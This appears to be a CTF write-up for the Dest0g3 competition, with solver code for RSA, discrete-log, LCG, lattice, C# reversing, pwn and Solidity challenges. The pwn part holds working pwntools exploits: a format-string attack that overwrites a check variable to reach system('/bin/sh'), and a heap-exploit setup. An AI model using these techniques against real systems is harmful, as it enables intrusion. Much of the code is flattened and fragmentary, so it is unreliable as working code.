from Crypto.Util.number import bytes_to_long, getPrime from gmpy2 import next_prime p = getPrime(1024) q = next_prime(p) n = p*q flag = open('flag.txt', 'rb').read() m = bytes_to_long(flag) e = 65537 c = pow(m, e, n) print(n) print(c) ''' 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854 '''
$p,q$ 相近,常规RSA:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from gmpy2 import *
n = e = c = p = iroot(n,2)[0] whilenot is_prime(p): p += 1 q = n // p d = invert(e, (p-1)*(q-1)) m = pow(c,d,n) print(bytes.fromhex(hex(m)[2:]))
flag = open('flag.txt', 'rb').read() x = bytes_to_long(flag) g = 19 p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353 h = pow(g, x, p) print(h) ''' 199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162 '''
DLP求解:
1 2 3 4 5 6 7 8
# Sage g = 19 p = h = x = discrete_log(mod(h,p),mod(g,p)) print(bytes.fromhex(hex(x)[2:]))
lcg = LCG() lcg.output() c = b''.join([long_to_bytes(ord(flag[i]) ^ (lcg.next() % 10)) for i inrange(len(flag))]) print(bytes_to_long(c)) ''' a = 3939333498 b = 3662432446 m = 2271373817 state1 = 17362 state2 = 20624 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878 '''
LCG,爆破求seed:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
a = 3939333498 b = 3662432446 m = 2271373817 state1 = 17362 state2 = 20624 c = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878 c = list(bytes.fromhex(hex(c)[2:]))
for i inrange(65536): s1 = (state1<<16)+i s2 = (a*s1+b) % m if s2>>16 == state2: seed = ((s1-b)*inverse_mod(a,m))%m print(seed) # 1315807869 # 710396196 # 104984523
c = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878 c = list(bytes.fromhex(hex(c)[2:])) seed = [1315807869,710396196,104984523]
for k in seed: classLCG: def__init__(self): self.a = 3939333498 self.b = 3662432446 self.m = 2271373817 self.seed = k
defsmall_roots(f, bounds, m=1, d=None): ifnot d: d = f.degree() R = f.base_ring() N = R.cardinality() f /= f.coefficients().pop(0) f = f.change_ring(ZZ)
G = Sequence([], f.parent()) for i inrange(m + 1): base = N ^ (m - i) * f ^ i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g)
c = 1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084 c = hex(c)[2:].rjust(9*30,'0')
table = '0123456789abcdef-' defpow(nowc): print(nowc) t=l.next() print(t) return mbruteforce(lambda x: hex(int(sha256(x).hexdigest().encode('hex'),16)%(seed**3)^(t%100))[2:].rjust(30,'0') == nowc, table, length=4, method='fixed') flag = '' for i inrange(9): flag += pow(c[30*i:30*(i+1)]) print(flag)
# Sage import binascii pubKey = [] nbit = len(pubKey) encoded = A = Matrix(ZZ, nbit + 1, nbit + 1) for i inrange(nbit): A[i, i] = 1 for i inrange(nbit): A[i, nbit] = pubKey[i] A[nbit, nbit] = -int(encoded)
res = A.LLL() for i inrange(0, nbit + 1): M = res.row(i).list() flag = True for m in M: if m != 0and m != 1: flag = False break if flag: print(i, M) M = ''.join(str(j) for j in M) M = M[:-1] M = hex(int(M, 2))[2:] print(bytes.fromhex(M)) b'5090ea29-8cb6-4ad8-ab43-1e6f65cc8eeb'
privatestaticvoid <Main>$(string[] args) { Console.Write("Input your flag:"); string text = Console.ReadLine(); if (!FormatChecker(text)) { err(); } string s = text.Replace("-", string.Empty); byte[] second = Checker.Encrypt2(Checker.Encrypt1(Encoding.ASCII.GetBytes(s))); if (newbyte[32] { 218, 49, 230, 35, 65, 168, 134, 53, 233, 62, 212, 208, 127, 224, 63, 164, 36, 88, 65, 138, 118, 255, 107, 22, 16, 239, 61, 58, 130, 101, 227, 109 }.SequenceEqual(second)) { Console.WriteLine("right!"); Console.WriteLine("Your flag is Dest0g3{" + text + "}"); } else { err(); } staticvoiderr() { Console.WriteLine("err!"); Environment.Exit(1); } staticboolFormatChecker(string input) { Guid result; return Guid.TryParse(input, out result); } }
publicstaticbyte[] Encrypt1(byte[] a) { List<byte> list = new List<byte>(); for (int i = 0; i < 8; i++) { uintvalue = (uint)((ulong)((long)utils.Unpack32(a[(4 * i)..(4 * (i + 1))]) * 83987L) % 4062393413uL); list.AddRange(BitConverter.GetBytes(value)); } return list.ToArray(); }
publicstaticbyte[] Encrypt2(byte[] a) { List<byte> list = new List<byte>(); for (int i = 0; i < 4; i++) { ulong num = utils.Unpack64(a[(8 * i)..(8 * (i + 1))]); ulongvalue = num ^ (num >> 25); list.AddRange(BitConverter.GetBytes(value)); } return list.ToArray(); }
c1 = [bytes_to_long(bytes(c[8*i:8*(i+1)])[::-1]) for i inrange(4)]
definvert_right(m,l): length = 64 mx = (1 << 64) - 1 i,res = 0,0 while i * l < length: mask = (mx << (length - l) & mx) >> i * l tmp = m & mask m = m ^ tmp >> l & mx res += tmp i += 1 return res
c2 = [invert_right(c1[i], 25) for i inrange(4)]
c3 = [] for i inrange(4): c3 += list(long_to_bytes(c2[i]))[::-1]
c4 = [bytes_to_long(bytes(c3[4*i:4*(i+1)])[::-1]) for i inrange(8)]
c4 = [(k*inverse(83987,4062393413))%4062393413for k in c4]
c5 = [] for i inrange(8): c5 += list(long_to_bytes(c4[i]))[::-1] print(bytes(c5))
setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); for ( i = 0LL; i <= 5; ++i ) { puts("What about your love to Dest0g3?"); read(0, format, 0x40uLL); printf(format); } if ( dword_4010 == 1314520 ) { puts("I can feel your love!"); system("/bin/sh"); } else { puts("Your dont love Dest0g3 at all!"); } return0LL; }
r = remote('node4.buuoj.cn',29044) e = ELF('./pwn')
r.sendafter(b'What about your love to Dest0g3?\n',b'aaa') r.sendafter(b'What about your love to Dest0g3?\n',b'aaa')
r.sendafter(b'What about your love to Dest0g3?\n',b'%12$p%10$p') base = int(r.recv(14),16) - 0x1185 stack = int(r.recv(14),16) - 0xd8 print(hex(stack))
r.sendafter(b'What about your love to Dest0g3?\n','%{}c%10$hn'.format(stack % 0x10000))
target = base + 0x4010 r.sendafter(b'What about your love to Dest0g3?\n','%{}c%39$hn'.format(target % 0x10000))
r.sendafter(b'What about your love to Dest0g3?\n','%1314520c%12$n')
r = remote('node4.buuoj.cn',26427) libc = ELF('./libc-2.33.so')
defadd(size,content): r.sendlineafter('4. show\n: ','1') r.sendlineafter('Please tell me its size: ',str(size)) r.sendafter('Content: ',content) defedit(idx,content): r.sendlineafter('4. show\n: ','2') r.sendlineafter('Please tell me the index: ',str(idx)) r.sendafter('Please tell me its content: ',content)
defdelete(idx): r.sendlineafter('4. show\n: ','3') r.sendlineafter('Please tell me the index: ',str(idx)) defshow(idx): r.sendlineafter('4. show\n: ','4') r.sendlineafter('Please tell me the index: \n',str(idx))
constructor() public { owner=msg.sender; storageplace _Flag = new storageplace(); Flag = _Flag; } modifier isowner(){ require(msg.sender==owner,"I think you are not the rignt person"); _; } function addRight(address tar)public isowner{ regeister[tar]=true; } function removeRight(address tar)public isowner{ regeister[tar]=false; } function regeist() public { require(regeister[msg.sender]==false); regeister[msg.sender]=true; seed[msg.sender]=block.number+1; } function buyflag(uint want) public payable returns(bytes1){ require(msg.value==Price_Per_Char,"is not free"); return Flag.buy(want); } function query(bytes32 answer) public view returns(string memory) { require(regeister[msg.sender]); require(block.number >seed[msg.sender],"too early"); bytes32 result = blockhash(seed[msg.sender]); require(answer==result,"wrong answer"); return Flag.flag(); } function withdraw() public payable{ require(msg.sender==owner); msg.sender.transfer(address(this).balance); }